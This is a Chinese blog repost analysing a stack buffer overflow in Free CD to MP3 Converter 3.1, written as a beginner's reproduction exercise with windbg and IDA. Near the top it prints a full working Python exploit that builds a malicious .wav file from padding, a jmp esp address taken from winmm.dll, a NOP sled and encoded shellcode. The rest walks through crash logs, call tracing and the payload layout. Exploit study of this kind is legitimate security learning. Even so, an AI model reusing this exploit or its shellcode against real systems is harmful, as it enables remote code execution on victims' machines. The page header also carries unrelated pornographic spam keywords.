日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用

發布時間:2023/12/20 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Free CD to MP3 Converter V3.1 棧溢出漏洞分析與利用

測試環境及工具:

windbg IDA winxp sp3

這算是正式調試分析的第一個漏洞,也是跟著一位學長的博客做一個復現(原博客地址在文末)。這款軟件是一款音頻文件轉換的軟件,漏洞是未檢查輸入文件長度而導致的緩存區溢出。因為本地緩存溢出比較簡單,所以適合新手。具體分析如下:

這是原博客的exp

filename = "222222.wav" print "cr34t1ng 3v1l f1l3"junk ="\x41" * 4112 ret = "\xDC\x3A\xB4\x76" ## jmp esp from winmm.dll may be changed nopsled = "\x90" * 15shellcode = ("\xb8\xc7\xae\x8e\xae\xd9\xc7\x33\xc9\xb1\x31\xd9\x74\x24" "\xf4\x5b\x31\x43\x14\x83\xeb\xfc\x03\x43\x10\x25\x5b\x72" "\x46\x20\xa4\x8b\x97\x52\x2c\x6e\xa6\x40\x4a\xfa\x9b\x54" "\x18\xae\x17\x1f\x4c\x5b\xa3\x6d\x59\x6c\x04\xdb\xbf\x43" "\x95\xea\x7f\x0f\x55\x6d\xfc\x52\x8a\x4d\x3d\x9d\xdf\x8c" "\x7a\xc0\x10\xdc\xd3\x8e\x83\xf0\x50\xd2\x1f\xf1\xb6\x58" "\x1f\x89\xb3\x9f\xd4\x23\xbd\xcf\x45\x38\xf5\xf7\xee\x66" "\x26\x09\x22\x75\x1a\x40\x4f\x4d\xe8\x53\x99\x9c\x11\x62" "\xe5\x72\x2c\x4a\xe8\x8b\x68\x6d\x13\xfe\x82\x8d\xae\xf8" "\x50\xef\x74\x8d\x44\x57\xfe\x35\xad\x69\xd3\xa3\x26\x65" "\x98\xa0\x61\x6a\x1f\x65\x1a\x96\x94\x88\xcd\x1e\xee\xae" "\xc9\x7b\xb4\xcf\x48\x26\x1b\xf0\x8b\x8e\xc4\x54\xc7\x3d" "\x10\xee\x8a\x2b\xe7\x63\xb1\x15\xe7\x7b\xba\x35\x80\x4a" "\x31\xda\xd7\x53\x90\x9e\x26\xa5\x29\x0b\xbe\x1f\xd8\x76" "\xa2\xa0\x36\xb4\xdb\x22\xb3\x45\x18\x3a\xb6\x40\x64\xfd" "\x2a\x39\xf5\x6b\x4d\xee\xf6\xbe\x3e\x78\x09")PirateAL = junk+ret+nopsled+shellcode FILE = open(filename, "w") FILE.write(PirateAL) FILE.close() print "t1m3 f0r pwn4g3"

因為要調試分析,所以把ret,nopsled和shellcode都換成字符’A’,如下所示:

filename = "test_poc.wav" print "cr34t1ng 3v1l f1l3"junk ="\x41" * 4112 ret = "\x41" * 4 ## jmp esp from winmm.dll may be changed nopsled = "\x41" * 15 shellcode = "\x41" * 227PirateAL = junk+ret+nopsled+shellcode FILE = open(filename, "w") FILE.write(PirateAL) FILE.close() print "t1m3 f0r pwn4g3"

運行上面的python代碼生成一個test_poc.wav文件,復制到虛擬機winxp sp3的系統中,將Free MP3軟件用windbg打開,輸入命令g運行軟件,并且用Free MP3軟件打開test.wav文件,軟件崩潰。

windbg定位到崩潰地點。

(ee8.a9c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=41414141 ecx=00001106 edx=00001106 esi=41414141 edi=41414141 eip=41414141 esp=0228feac ebp=41414141 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 41414141 ?? ??? *** WARNING: Unable to verify checksum for image00400000 *** ERROR: Module load completed but symbols could not be loaded for image00400000 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -

輸入命令kb查看棧回溯。

ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0228fea8 41414141 41414141 41414141 41414141 0x41414141 0228ffa0 004047fe 0228ffdc 00404374 0228ffb4 0x41414141 0228ffb4 7c80b713 00bcfeb4 001a5858 00000118 image00400000+0x47fe 0228ffec 00000000 004047d4 00bcfeb4 00000000 kernel32!GetModuleFileNameA+0x1b4

可以看到在在沒有被覆蓋的棧幀中,最上面的是地址是004047fe處的函數,就是說在這個函數里面發生了崩潰。

接下來,重新載入Free CD軟件,在該函數入口處,即004047fc (004047fe的前一個位置) 處設置斷點,命令bp 004047fc,然后命令t,單步步入該函數。這里值得注意的是這個函數是第二次運行時才會觸發,所以初次停到這個位置的時候,再次運行g命令。

0:004> g Breakpoint 0 hit eax=00bd85e8 ebx=00bd3800 ecx=00000000 edx=00424820 esi=0100ffff edi=00000020 eip=004047fc esp=0179ffa8 ebp=0179ffb4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 image00400000+0x47fc: 004047fc ffd2 call edx {image00400000+0x24820 (00424820)} *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 0:004> t eax=00bd85e8 ebx=00bd3800 ecx=00000000 edx=00424820 esi=0100ffff edi=00000020 eip=00424820 esp=0179ffa4 ebp=0179ffb4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 image00400000+0x24820: 00424820 55 push ebp

進入該函數后,使用p命令一直單步步入,知道遇到

0:002> g eax=00bc4380 ebx=00bcfeb4 ecx=00000000 edx=00492130 esi=00000118 edi=00166fe8 eip=00424854 esp=01b3ff78 ebp=01b3ffa0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 image00400000+0x24854: 00424854 ff5204 call dword ptr [edx+4] ds:0023:00492134=00493090 0:002> g (d10.c0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=41414141 ecx=00001106 edx=00001106 esi=41414141 edi=41414141 eip=41414141 esp=01b3feac ebp=41414141 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 41414141 ?? ???

由上可知,當調用00424854處的函數后,程序崩潰,那么就再進入這個函數看看。

重新載入該軟件,并且在00424854處設置斷點,然后單步步入該函數,繼續重復上述的步驟,接下來會套娃五到六次,分別執行到如下地址的函數:

004047fe | call edx {image00400000+0x24820 (00424820)} 00424854 | call dword ptr [edx+4] ds:0023:00492134=00493090 004930c4 | call dword ptr [edx+3Ch] ds:0023:0049d8a4=0049df40 0049df86 | call image00400000+0x92e78 (00492e78) 00492ea7 | call dword ptr [edx+44h] ds:0023:00494b54=0049358c 004935ed | call dword ptr [edx+68h] ds:0023:00494b78=00495590 00495603 | call image00400000+0x96f9c (00496f9c)

最后一個函數就是漏洞函數,原因是,這個函數執行完成后,才觸發崩潰,而最后一個函數的地址是00496f9c。

用IDA打開該軟件,點擊G鍵,查找函數00496f9c,找到該函數以后F5,反匯編,可以看到該函數反匯編以后的C語言代碼。審計代碼,可以發現大概就是分不同的類型進行操作。其中case1的部分就是wave類型。其中主要的操作就是調用sub_4954F4函數。使用windbg在004954f4位置處設置斷點,然后持續運行,使用dd eax,dd eax前面的地址,還有ebx就會發現,這些位置的數值在不斷的增加,而且增加的數值就是字符’A’,可以得到在這一部分代碼就是不斷的在向緩存中輸入字符’A’。

現在的問題就是,在向緩存中輸入字符’A’時,有沒有限制或者有沒有可能超過限制。

在IDA的反匯編的C語言代碼中,有一個變量v3(實際操作中可能會有些改變),起作用就是計數器的作用,初值是4,每循環一次加4,最后有一個判斷,如果v3 >= 0x2000,則退出,也就是說這個變量的值可以是0x2000以內的值。匯編代碼中,其計數器作用的是ebx。



而這個函數的開頭是如下所示:

箭頭1所示的部分,作用它的作用就是,從這個偏移量開始讀入文件,即我們構造的’A’字符,它距離棧底的偏移量是1010h遠遠小于2000h所以可以構造字符串覆蓋返回地址,由開篇的poc驗證中,字符喜歡字節覆蓋掉ebp可得,該程序對返回地址沒有保護,所以可以使用jmp esp方法。

下面CODE:00496FBA處的代碼lea edx, [esp+101Ch+var_1010]的作用就是:將edx指向局部變量,后面將用它來保存讀取的文件內容,即我們構造的文件內容將會填充到??臻g。

字符串的結構如下:
首先是1010h的填充字符,即4112個字符,即junk ="\x41" * 4112;
其次是返回地址,即ret = “\xDC\x3A\xB4\x76”,該返回地址中的"\xDC\x3A\xB4\x76"是從,該軟件的導入的動態鏈接庫winmm.dll中找到的jmp esp命令地址。改地址也可以從kernel.dll中的尋找,具體的查找方法可以從0Day2中查看。
再其次是我們所使用的shellcode。該shellcode可以使用FSM得到。
最后,為防止shellcode數據被破壞,在shellcode前加上nopsled滑板,抬高棧頂保護數據。

最后是驗證,用Free CD打開test_poc.wav,程序崩潰。

參考:
學長博客
參考博客2
windbg教程

總結

以上是生活随笔為你收集整理的Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。